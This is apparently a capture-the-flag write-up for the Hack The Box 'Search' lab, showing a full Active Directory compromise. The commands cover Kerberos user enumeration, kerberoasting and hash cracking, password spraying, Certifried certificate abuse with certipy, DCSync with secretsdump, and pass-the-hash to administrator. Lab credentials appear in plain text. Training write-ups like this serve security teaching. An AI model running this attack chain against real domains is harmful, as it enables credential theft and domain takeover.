HTB: Search

Kicking it off with an nmap scan we can see we have port 80 with a web app and an Active Directory setup here.

We also have a domain, so let's throw that into our hosts file. That certificate authority in the scan output is worth noting now. It is what the whole box eventually turns on.

Heading over to the web app we can see it's a company site. The About Us section has a couple of names on it. Keely Lyons and Sierra Frye are the ones I'm paying most attention to, since one is a security manager and the other a SecOps manager. Let's save all these names into the usual company formats in a users.txt file and check them with NetExec, using the usernames as passwords.

nxc smb search.htb -u users.txt -p users.txt --no-bruteforce

Nothing. Let's rearrange the names into the firstname.lastname format and validate them against Kerberos first, rather than guessing blind.

kerbrute userenum -d search.htb --dc 10.129.229.57 users_new.txt

We got three hits. Let's run this through NetExec again and see if any of them reuse their username as a password.

nxc smb search.htb -u users_new.txt -p users_new.txt --shares --no-bruteforce

We don't get any hits. Let's go back to the web app and enumerate it properly.

gobuster dir -u http://search.htb/ -w /usr/share/wordlists/dirb/common.txt -t 20 --timeout 30s

Running gobuster reveals a certificate enrollment directory and the certificate services web endpoint. Both confirm Active Directory Certificate Services is installed and reachable over HTTP. Park that thought.

Nothing else has turned up, so let's keep searching the site itself. Looking through the images we find one of a notebook that has a note written for Hope Sharp.

Somebody photographed a desk for the company website and left a credential legible in the shot. Let's take that to SMB.

nxc smb search.htb -u hope.sharp -p 'IsolationIsKey?' -M spider_plus

smbclient //10.129.229.57/SYSVOL -U 'hope.sharp%IsolationIsKey?' \
  -c 'prompt OFF; recurse ON; cd search.htb\Policies; mget *'

We have a lot of files to go through. Searching through everything we don't find much, but we do have SMB access, so let's manually enumerate the redirected home folders.

smbclient "//$IP/RedirectedFolders\$" -U "$CRED"

In the redirected folders we have a Sierra Frye folder, and there's a user.txt in it. Let's check it out.

We get denied. We can list the folder but not read the file, so we need a better account. Let's kerberoast with what we have.

impacket-GetUserSPNs search.htb/hope.sharp:'IsolationIsKey?' -dc-ip $IP \
  -request -outputfile roast.hash

One service account has a service principal name registered. Let's crack it.

hashcat -m 13100 roast.hash /usr/share/wordlists/rockyou.txt

We get the web service account password. Let's set up shell variables and start real domain enumeration.

export IP=10.129.229.57
export U=web_svc
export P='@3ONEmillionbaby'

nxc smb   $IP -u "$U" -p "$P" --shares
nxc ldap  $IP -u "$U" -p "$P"
nxc winrm $IP -u "$U" -p "$P"

The account authenticates over SMB and LDAP but not WinRM, so no shell yet, only remote enumeration. The share list is worth reading carefully. There's an enrollment share for the certificate authority, a helpdesk share we can't touch, and read-write on the redirected home folders.

Anonymous LDAP was walled off earlier. Now that we have credentials, the description fields are readable, and on this box that's where the real hints live.

nxc ldap $IP -u "$U" -p "$P" -M get-desc-users

Three things stand out. Tristan Davies is the real Domain Admin and the built-in Administrator is being retired. The web service account is described as a temp account created by HelpDesk, which implies HelpDesk hands out a standard temp password, and the one we just cracked looks exactly like it. And there's a group managed service account running on a separate host.

If HelpDesk issues one temp password, other freshly provisioned accounts likely share it. Let's extract every real user and spray.

grep '^sAMAccountName' ldap_desc.txt | awk '{print $2}' | grep -v '\$$' > all_users.txt

kerbrute passwordspray -d search.htb --dc $IP all_users.txt '@3ONEmillionbaby'

The spray gives us a HelpDesk user. Now let's see what these accounts can actually do in the directory.

bloodyAD --host $IP -d search.htb -u Edgar.Jacobs -p '@3ONEmillionbaby' \
  get writable --detail | tee edgar_writable.txt

This is the door. That account can create computer accounts anywhere in the domain, including inside the Domain Controllers organisational unit. Combine that with the certificate authority we spotted in the nmap scan and we have a known attack path.

certipy find -u web_svc@search.htb -p '@3ONEmillionbaby' -dc-ip $IP -stdout -vulnerable

Two findings matter. Web enrollment is exposed over HTTP with channel binding off, which is the classic relay condition. And when we later request a certificate, Certipy warns that the certificate has no object SID. That second message is the tell for the Certifried vulnerability. The CA doesn't stamp the SID extension, so we can talk it into issuing a certificate for another principal entirely.

A relay attempt would normally be next, but on a single domain controller lab the loopback relay is blocked. The authentication arrives and the certificate service refuses the reflected credential. Certifried skips that limitation completely.

First we create a fresh machine account, which our HelpDesk user has the right to do. Certipy's helper creates the account, sets its DNS host name to the domain controller's, and clears the service principal names in one shot.

certipy account create \
  -u Edgar.Jacobs@search.htb -p '@3ONEmillionbaby' -dc-ip $IP \
  -user evil -pass 'Pwn!123' -dns 'Research.search.htb'

Next we grab a ticket for that machine account and request a machine certificate. Machine account certificate requests need Kerberos rather than NTLM, hence the ticket first.

impacket-getTGT 'search.htb/evil$:Pwn!123' -dc-ip $IP
export KRB5CCNAME=$(pwd)/evil\$.ccache

certipy req -u 'evil$@search.htb' -k -no-pass -dc-ip $IP \
  -target Research.search.htb -ca search-RESEARCH-CA -template Machine

The certificate comes back carrying the domain controller's DNS host name in its subject alternative name. That's the win. Now we authenticate with it.

certipy auth -pfx research.pfx -dc-ip $IP

That machine account is the domain controller itself, which means it holds replication rights on the domain. So we can ask it for the directory.

impacket-secretsdump -hashes ':<RESEARCH_NT>' 'search.htb/RESEARCH$'@$IP \
  -just-dc-user Administrator

That gives us the Administrator hash. Pass it and we're done.

impacket-wmiexec -hashes ':<ADMIN_NT>' search.htb/Administrator@$IP

type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Sierra.Frye\Desktop\user.txt

Both flags in one shell. The user flag we were denied earlier comes free once you own the domain.